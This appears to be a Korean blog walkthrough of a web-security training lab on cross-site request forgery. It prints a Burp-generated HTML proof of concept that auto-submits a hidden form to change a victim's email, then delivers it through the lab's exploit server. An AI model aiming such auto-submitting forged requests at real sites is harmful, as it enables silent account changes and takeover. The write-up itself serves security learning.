반응형
문제 설명
CSRF를 이용하여 email을 변경하면 되는 문제이다.
문제 풀이
로그인 후 My Account 페이지에서 email을 변경할 수 있다.
email 파라미터에 다른 email으로 설정한 후 burp suite pro에서 우클릭 > Engagement tools > Generate CSRF POC 버튼을 클릭한다.
CSRF POC가 html 형식으로 생성되며 Test in browser로 테스트가 가능하다.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a740049039866ad81e17a5a00cd00fb.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener2@normal-user.net" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Go to exploit server에 접근한 후 CSRF POC 코드를 삽입하고 Deliver exploit to victim 버튼을 클릭한다.
CSRF POC를 전송하면 문제가 해결되었다는 화면이 나온다.
반응형